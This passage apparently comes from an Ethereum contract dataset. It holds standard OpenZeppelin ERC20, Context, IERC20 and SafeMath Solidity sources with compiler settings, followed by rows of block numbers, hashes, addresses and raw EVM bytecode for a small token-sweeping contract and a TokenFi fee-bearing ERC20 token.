\"ERC20: transfer amount exceeds balance\");\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(amount, \"ERC20: burn amount exceeds balance\");\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(address owner, address spender, uint256 amount) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Sets {decimals} to a value other than the default one of 18.\n *\n * WARNING: This function should only be called from the constructor. Most\n * applications that interact with token contracts will not expect\n * {decimals} to ever change, and may work incorrectly if it does.\n */\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be to transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\n}\n"
},
"contracts/Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/*\n * @dev Provides information about the current execution context, including the\n * sender of the transaction and its data. While these are generally available\n * via msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with GSN meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\n return msg.data;\n }\n}"
},
"contracts/IERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20 {\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\n\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n}"
},
"contracts/SafeMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n\npragma solidity >=0.6.0 <0.8.0;\n\n/**\n * @dev Wrappers over Solidity's arithmetic operations with added overflow\n * checks.\n *\n * Arithmetic operations in Solidity wrap on overflow. This can easily result\n * in bugs, because programmers usually assume that an overflow raises an\n * error, which is the standard behavior in high level programming languages.\n * `SafeMath` restores this intuition by reverting the transaction when an\n * operation overflows.\n *\n * Using this library instead of the unchecked operations eliminates an entire\n * class of bugs, so it's recommended to use it always.\n */\nlibrary SafeMath {\n /**\n * @dev Returns the addition of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n\n /**\n * @dev Returns the substraction of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\n *\n * _Available since v3.4._\n */\n function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\n // benefit is lost if 'b' is also tested.\n // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n\n /**\n * @dev Returns the division of two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\n *\n * _Available since v3.4._\n */\n function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n\n /**\n * @dev Returns the addition of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `+` operator.\n *\n * Requirements:\n *\n * - Addition cannot overflow.\n */\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n require(c >= a, \"SafeMath: addition overflow\");\n return c;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting on\n * overflow (when the result is negative).\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= a, \"SafeMath: subtraction overflow\");\n return a - b;\n }\n\n /**\n * @dev Returns the multiplication of two unsigned integers, reverting on\n * overflow.\n *\n * Counterpart to Solidity's `*` operator.\n *\n * Requirements:\n *\n * - Multiplication cannot overflow.\n */\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) return 0;\n uint256 c = a * b;\n require(c / a == b, \"SafeMath: multiplication overflow\");\n return c;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting on\n * division by zero. The result is rounded towards zero.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: division by zero\");\n return a / b;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting when dividing by zero.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b > 0, \"SafeMath: modulo by zero\");\n return a % b;\n }\n\n /**\n * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\n * overflow (when the result is negative).\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {trySub}.\n *\n * Counterpart to Solidity's `-` operator.\n *\n * Requirements:\n *\n * - Subtraction cannot overflow.\n */\n function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n return a - b;\n }\n\n /**\n * @dev Returns the integer division of two unsigned integers, reverting with custom message on\n * division by zero. The result is rounded towards zero.\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {tryDiv}.\n *\n * Counterpart to Solidity's `/` operator. Note: this function uses a\n * `revert` opcode (which leaves remaining gas untouched) while Solidity\n * uses an invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n return a / b;\n }\n\n /**\n * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\n * reverting with custom message when dividing by zero.\n *\n * CAUTION: This function is deprecated because it requires allocating memory for the error\n * message unnecessarily. For custom revert reasons use {tryMod}.\n *\n * Counterpart to Solidity's `%` operator. This function uses a `revert`\n * opcode (which leaves remaining gas untouched) while Solidity uses an\n * invalid opcode to revert (consuming all remaining gas).\n *\n * Requirements:\n *\n * - The divisor cannot be zero.\n */\n function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n return a % b;\n }\n}"
}
},
"settings": {
"remappings": [
"ds-test/=lib/forge-std/lib/ds-test/src/",
"forge-std/=lib/forge-std/src/"
],
"optimizer": {
"enabled": true,
"runs": 200
},
"metadata": {
"bytecodeHash": "ipfs"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"evmVersion": "istanbul",
"libraries": {}
}
}}
|
1 | 19,497,465 |
bebc198522648d03e3d93409f84a1a0d4aef8b57cb29db820e5b93e9e005575b
|
c1672948f86bd8d657a3f01107e2a01288f1b1c1fcf619d5159816c47bf74c16
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
f8735a643b768f7cb21ee48f1071f1ca572ac883
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,497,465 |
bebc198522648d03e3d93409f84a1a0d4aef8b57cb29db820e5b93e9e005575b
|
f22fac5262f81462b27a890db1135148c395966deef4d19c90b5d5398be01b2f
|
b3bee150168befcd1849ed1a32ed6c49d6409490
|
2995dcf47546720f96b4636d894a77e8074461e4
|
c2187cbc73878d6b80f9c97bac8d5a250fb9ba6c
|
60806040523480156200001157600080fd5b5060405162004034380380620040348339810160408190526200003491620008ed565b80516020820151600362000049838262000afa565b50600462000058828262000afa565b50505060e08101516001600160a01b0316620000cf5760405162461bcd60e51b815260206004820152602b60248201527f546f6b656e466945524332303a206f776e65722063616e6e6f7420626520416460448201526a0323932b9b9902d32b937960ad1b60648201526084015b60405180910390fd5b80608001518160a0015110156200014f5760405162461bcd60e51b815260206004820152603c60248201527f546f6b656e466945524332303a20696e697469616c537570706c792063616e6e60448201527f6f742062652067726561746572207468616e206d6178537570706c79000000006064820152608401620000c6565b60c0810151600680546001600160a01b0319166001600160a01b0390921691909117905560a081015160075560408101516008906200018f908262000afa565b506060808201516016805460ff909216600160a81b0260ff60a81b199092169190911790556101408201519081015151604082015151602083015151925151600093620001dc9162000bdc565b620001e8919062000bdc565b620001f4919062000bdc565b9050612710811115620002605760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b6064820152608401620000c6565b61014082015180518051600955602090810151600a805460ff19908116921515929092179055818301518051600b55820151600c8054831691151591909117905560408301518051600d81905590830151600e805484169115159190911790556060909301518051600f559091015160108054909216901515179055610160830151601580546001600160a01b0319166001600160a01b039092169190911790551562000440576000826080015111620003835760405162461bcd60e51b815260206004820152603e60248201527f546f6b656e466945524332302e636f6e7374727563746f723a20696e6974696160448201527f6c537570706c79206d7573742062652067726561746572207468616e203000006064820152608401620000c6565b608082015162000397600260001962000c08565b620003a3919062000c1f565b620003b2600260001962000c08565b620003be919062000c36565b602081815560c0840180516001600160a01b039081166000908152601b8452604080822095909555608087018051601f819055845184168352601c8652868320556016805460ff60a01b1916600160a01b179055925192519451948552911692909160008051602062004014833981519152910160405180910390a36200045a565b6200045a8260c001518360800151620004e960201b60201c565b6101608201516200046e906017906200059c565b50601680546001600160a01b0319163317905560e08201516200049490600090620005bc565b601654620004cd907f6c0757dc3e6b28b2580c03fd9e96c274acf4f99d91fbec9b418fa1d70604ff1c906001600160a01b0316620005bc565b610120820151620004e190600090620005bc565b505062000c4c565b6001600160a01b038216620005415760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620000c6565b806002600082825462000555919062000bdc565b90915550506001600160a01b0382166000818152602081815260408083208054860190555184815260008051602062004014833981519152910160405180910390a35b5050565b6000620005b3836001600160a01b03841662000665565b90505b92915050565b60008281526005602090815260408083206001600160a01b038516845290915290205460ff16620005985760008281526005602090815260408083206001600160a01b03851684529091529020805460ff191660011790556200061c3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b505050565b6000818152600183016020526040812054620006ae57508154600181810184556000848152602080822090930184905584548482528286019093526040902091909155620005b6565b506000620005b6565b634e487b7160e01b600052604160045260246000fd5b6040516101a081016001600160401b0381118282101715620006f357620006f3620006b7565b60405290565b604051601f8201601f191681016001600160401b0381118282101715620007245762000724620006b7565b604052919050565b600082601f8301126200073e57600080fd5b81516001600160401b038111156200075a576200075a620006b7565b602062000770601f8301601f19168201620006f9565b82815285828487010111156200078557600080fd5b60005b83811015620007a557858101830151828201840152820162000788565b506000928101909101919091529392505050565b805160ff81168114620007cb57600080fd5b919050565b80516001600160a01b0381168114620007cb57600080fd5b600060408284031215620007fb57600080fd5b604080519081016001600160401b0381118282101715620008205762000820620006b7565b806040525080915082518152602083015180151581146200084057600080fd5b6020919091015292915050565b600061010082840312156200086157600080fd5b604051608081016001600160401b0381118282101715620008865762000886620006b7565b604052905080620008988484620007e8565b8152620008a98460408501620007e8565b6020820152620008bd8460808501620007e8565b6040820152620008d18460c08501620007e8565b60608201525092915050565b805160038110620007cb57600080fd5b6000602082840312156200090057600080fd5b81516001600160401b03808211156200091857600080fd5b9083019061028082860312156200092e57600080fd5b62000938620006cd565b8251828111156200094857600080fd5b62000956878286016200072c565b8252506020830151828111156200096c57600080fd5b6200097a878286016200072c565b6020830152506040830151828111156200099357600080fd5b620009a1878286016200072c565b604083015250620009b560608401620007b9565b60608201526080830151608082015260a083015160a0820152620009dc60c08401620007d0565b60c0820152620009ef60e08401620007d0565b60e0820152610100915062000a06828401620007d0565b82820152610120915062000a1c828401620007d0565b82820152610140915062000a33868385016200084d565b8282015262000a466102408401620007d0565b61016082015262000a5b6102608401620008dd565b61018082015295945050505050565b600181811c9082168062000a7f57607f821691505b60208210810362000aa057634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111562000660576000816000526020600020601f850160051c8101602086101562000ad15750805b601f850160051c820191505b8181101562000af25782815560010162000add565b505050505050565b81516001600160401b0381111562000b165762000b16620006b7565b62000b2e8162000b27845462000a6a565b8462000aa6565b602080601f83116001811462000b66576000841562000b4d5750858301515b600019600386901b1c1916600185901b17855562000af2565b600085815260208120601f198616915b8281101562000b975788860151825594840194600190910190840162000b76565b508582101562000bb65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b80820180821115620005b657620005b662000bc6565b634e487b7160e01b600052601260045260246000fd5b60008262000c1a5762000c1a62000bf2565b500490565b60008262000c315762000c3162000bf2565b500690565b81810381811115620005b657620005b662000bc6565b6133b88062000c5c6000396000f3fe608060405234801561001057600080fd5b50600436106102305760003560e01c806301ffc9a714610235578063053ab1821461025d57806305db2f411461027257806306fdde0314610295578063095ea7b3146102aa57806311c565df146102bd57806313114a9d146102e857806318160ddd146102f057806318f60b69146102f8578063228497201461030b57806322aafef21461033857806323b872dd1461034b578063248a9ca31461035e5780632d838119146103715780632f2ff15d14610384578063313ce5671461039757806336568abe146103b657806339509351146103c957806340a8d39f146103dc57806340c10f19146103e55780634549b039146103f857806358dc10f21461040b5780636078c0f91461041e57806361d027b3146104315780636fda79ce1461044457806370a08231146104915780637543a3aa146104a4578063795c7ebe146104b75780637b1c359c146104ca5780638b4dd060146104dd57806391d14854146104f057806395d89b4114610503578063997d0feb1461050b5780639af1d35a1461051f578063a217fddf146105a4578063a457c2d7146105ac578063a9059cbb146105bf578063b6044b68146105d2578063bc02a108146105e5578063c2510346146105f8578063d49d51811461060b578063d547741f14610613578063d5abeb0114610626578063dd62ed3e1461062f578063f2cc0c1814610642578063f84354f114610655578063fb7f21eb14610668578063fccc281314610670575b600080fd5b610248610243366004612d19565b610679565b60405190151581526020015b60405180910390f35b61027061026b366004612d43565b6106b0565b005b61028760008051602061332c83398151915281565b604051908152602001610254565b61029d6107cd565b6040516102549190612d80565b6102486102b8366004612dc8565b61085f565b6015546102d0906001600160a01b031681565b6040516001600160a01b039091168152602001610254565b602154610287565b610287610877565b610248610306366004612df4565b61089a565b601f5460205460215461031d92919083565b60408051938452602084019290925290820152606001610254565b610248610346366004612df4565b6108a7565b610248610359366004612e11565b6108b4565b61028761036c366004612d43565b6108d8565b61028761037f366004612d43565b6108ed565b610270610392366004612e52565b610972565b601654600160a81b900460ff1660405160ff9091168152602001610254565b6102706103c4366004612e52565b610993565b6102486103d7366004612dc8565b610a11565b61028761271081565b6102706103f3366004612dc8565b610a33565b610287610406366004612e97565b610ad2565b6016546102d0906001600160a01b031681565b61027061042c366004612df4565b610b68565b6006546102d0906001600160a01b031681565b601154601254601354601454610466936001600160a01b039081169316919084565b604080516001600160a01b039586168152949093166020850152918301526060820152608001610254565b61028761049f366004612df4565b610bc4565b6102706104b2366004612f0f565b610c00565b6102706104c5366004612fca565b610e72565b6102706104d8366004612df4565b611061565b6102486104eb366004612df4565b6110bd565b6102486104fe366004612e52565b6110f1565b61029d61111c565b60165461024890600160a01b900460ff1681565b6040805180820182526009548152600a5460ff908116151560208084019190915283518085018552600b548152600c54831615158183015284518086018652600d548152600e5484161515818401528551808701909652600f5486526010549093161515918501919091526105949390919084565b604051610254949392919061303f565b610287600081565b6102486105ba366004612dc8565b61112b565b6102486105cd366004612dc8565b6111a6565b6102706105e0366004612df4565b6111b4565b6102706105f3366004612df4565b611274565b610270610606366004612df4565b61130f565b61028761136b565b610270610621366004612e52565b61137b565b61028760075481565b61028761063d36600461307e565b611397565b610270610650366004612df4565b6113c2565b610270610663366004612df4565b61153b565b61029d6117ab565b6102d061dead81565b60006001600160e01b03198216637965db0b60e01b14806106aa57506301ffc9a760e01b6001600160e01b03198316145b92915050565b601654600160a01b900460ff166106e25760405162461bcd60e51b81526004016106d9906130ac565b60405180910390fd5b336106ec816110bd565b1561074e5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016106d9565b600061075e838460006001611839565b5050506001600160a01b0384166000908152601b602052604090205491925061078991839150613106565b6001600160a01b0383166000908152601b6020908152604090912091909155546107b4908290613106565b6020556021546107c5908490613119565b602155505050565b6060600380546107dc9061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546108089061312c565b80156108555780601f1061082a57610100808354040283529160200191610855565b820191906000526020600020905b81548152906001019060200180831161083857829003601f168201915b5050505050905090565b60003361086d81858561188c565b5060019392505050565b601654600090600160a01b900460ff16156108935750601f5490565b5060025490565b60006106aa6019836119b1565b60006106aa6017836119b1565b6000336108c28582856119c6565b6108cd858585611a40565b506001949350505050565b60009081526005602052604090206001015490565b6020546000908211156109555760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d9565b600061095f611d62565b905061096b8184613166565b9392505050565b61097b826108d8565b61098481611d85565b61098e8383611d92565b505050565b6001600160a01b0381163314610a035760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016106d9565b610a0d8282611e18565b5050565b60003361086d818585610a248383611397565b610a2e9190613119565b61188c565b6000610a3e81611d85565b60075482610a4a610877565b610a549190613119565b1115610aac5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e466945524332303a206d617820737570706c7920657863656564656044820152601960fa1b60648201526084016106d9565b601654600160a01b900460ff1615610ac85761098e8383611e7f565b61098e8383611f67565b601f54600090831115610b275760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016106d9565b81610b4a576000610b3c848560006001611839565b509294506106aa9350505050565b6000610b5a848560006001611839565b509194506106aa9350505050565b60008051602061332c833981519152610b8081611d85565b610b8b601783612014565b506040516001600160a01b038316907f1a8d12c6c584c93207352b4fb4b4a1d352b1d54b5879f90a7a31ca8a70bcfed290600090a25050565b601654600090600160a01b900460ff1615610be2576106aa82612029565b6001600160a01b0382166000908152602081905260409020546106aa565b60008051602061332c833981519152610c1881611d85565b600f5415610de35761271082604001511115610c9a5760405162461bcd60e51b815260206004820152603b60248201527f546f6b656e466945524332303a206c69717569646974794261736973506f696e60448201527a07473206d757374206265206c657373207468616e2031302c30303602c1b60648201526084016106d9565b61271082606001511115610d165760405162461bcd60e51b815260206004820152603d60248201527f546f6b656e466945524332303a207072696365496d706163744261736973506f60448201527f696e7473206d757374206265206c657373207468616e2031302c30303000000060648201526084016106d9565b60208201516001600160a01b0316610d7c5760405162461bcd60e51b8152602060048201526024808201527f546f6b656e466945524332303a20726f757465722063616e6e6f7420626520656044820152636d70747960e01b60648201526084016106d9565b81516001600160a01b0316610de35760405162461bcd60e51b815260206004820152602760248201527f546f6b656e466945524332303a2070616972546f6b656e2063616e6e6f7420626044820152666520656d70747960c81b60648201526084016106d9565b8151601180546001600160a01b039283166001600160a01b03199182168117909255602085015160128054919094169116811790925560408085015160138190556060860151601481905591519293927f0984d5f2e8e58132b97a7c66d9c5a2df53eb8f8a7b78b241b1db4fdc7a503a5d92610e66928252602082015260400190565b60405180910390a35050565b6000610e7d81611d85565b601654600160a01b900460ff1615610ef157604082015151610eec5760405162461bcd60e51b8152602060048201526034602482015260008051602061338c833981519152604482015273616765206d757374206265206e6f6e2d7a65726f60601b60648201526084016106d9565b610f4b565b60408201515115610f4b5760405162461bcd60e51b8152602060048201526030602482015260008051602061338c83398151915260448201526f616765206d757374206265207a65726f60801b60648201526084016106d9565b6060820151516040830151516020840151518451516000939291610f6e91613119565b610f789190613119565b610f829190613119565b9050612710811115610fec5760405162461bcd60e51b815260206004820152602d60248201527f546f6b656e466945524332303a20666565732073756d206d757374206265206c60448201526c657373207468616e203130302560981b60648201526084016106d9565b505080518051600955602090810151600a805491151560ff19928316179055818301518051600b55820151600c805491151591831691909117905560408301518051600d55820151600e80549115159183169190911790556060909201518051600f5501516010805491151591909216179055565b60008051602061332c83398151915261107981611d85565b611084601783612077565b506040516001600160a01b038316907ffaaeeffad2a7c67db50de0c0861de690ae617c059e77b13b96ee1bfea1463e8790600090a25050565b6001600160a01b0381166000908152601d602052604081205460ff16806106aa57506001600160a01b038216301492915050565b60009182526005602090815260408084206001600160a01b0393909316845291905290205460ff1690565b6060600480546107dc9061312c565b600033816111398286611397565b9050838110156111995760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016106d9565b6108cd828686840361188c565b60003361086d818585611a40565b60008051602061332c8339815191526111cc81611d85565b6001600160a01b0382166112305760405162461bcd60e51b815260206004820152602560248201527f546f6b656e466945524332303a20616464726573732063616e6e6f7420626520604482015264656d70747960d81b60648201526084016106d9565b61123b601983612014565b506040516001600160a01b038316907f1caec4f1ef0e654f520edf2d95d3d035ea6382500dbdd179d37017442e53528490600090a25050565b600061127f81611d85565b6016546112a49060008051602061332c833981519152906001600160a01b0316611e18565b601680546001600160a01b0319166001600160a01b0384161790556112d760008051602061332c83398151915283611d92565b6040516001600160a01b038316907fdba835207229fba1418844b6c6462472e5f6db972a6e9a8d0b7ebf6c7326da4d90600090a25050565b60008051602061332c83398151915261132781611d85565b611332601983612077565b506040516001600160a01b038316907f3186e21fde26faa448666270e7a0d53c887d8f040950e4330a2b622e34ed6f4490600090a25050565b6113786002600019613166565b81565b611384826108d8565b61138d81611d85565b61098e8383611e18565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b601654600160a01b900460ff166113eb5760405162461bcd60e51b81526004016106d9906130ac565b6113f66000336110f1565b8061140b57506016546001600160a01b031633145b6114275760405162461bcd60e51b81526004016106d990613188565b611430816110bd565b1561147b5760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e48195e18db1d591959602a1b60448201526064016106d9565b6001600160a01b0381166000908152601b6020526040902054156114d5576001600160a01b0381166000908152601b60205260409020546114bb906108ed565b6001600160a01b0382166000908152601c60205260409020555b6001600160a01b03166000818152601d60205260408120805460ff19166001908117909155601e805491820181559091527f50bb669a95c7b50b7e8a6f09454034b2b14cf2b85c730dca9a539ca82cb6e3500180546001600160a01b0319169091179055565b601654600160a01b900460ff166115645760405162461bcd60e51b81526004016106d9906130ac565b61156f6000336110f1565b8061158457506016546001600160a01b031633145b6115a05760405162461bcd60e51b81526004016106d990613188565b6115a9816110bd565b6115f35760405162461bcd60e51b815260206004820152601b60248201527a1058d8dbdd5b9d081a5cc8185b1c9958591e481a5b98db1d591959602a1b60448201526064016106d9565b60005b601e54811015610a0d57816001600160a01b0316601e828154811061161d5761161d6131bd565b6000918252602090912001546001600160a01b0316036117a3576000611641611d62565b6001600160a01b0384166000908152601b6020908152604090912054905491925061166b91613106565b60209081556001600160a01b0384166000908152601c90915260409020546116949082906131d3565b6001600160a01b0384166000908152601b60208181526040808420948555601c82528320929092558152905490546116cc9190613119565b60209081556001600160a01b0384166000908152601d90915260409020805460ff19169055601e805461170190600190613106565b81548110611711576117116131bd565b600091825260209091200154601e80546001600160a01b03909216918490811061173d5761173d6131bd565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550601e80548061177c5761177c6131ea565b600082815260209020810160001990810180546001600160a01b0319169055019055505050565b6001016115f6565b600880546117b89061312c565b80601f01602080910402602001604051908101604052809291908181526020018280546117e49061312c565b80156118315780601f1061180657610100808354040283529160200191611831565b820191906000526020600020905b81548152906001019060200180831161181457829003601f168201915b505050505081565b60008060008060008060006118508b8b8b8b61208c565b91509150600061185e611d62565b905060008060006118708f86866120fe565b919c509a50985094965092945050505050945094509450945094565b6001600160a01b0383166118ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737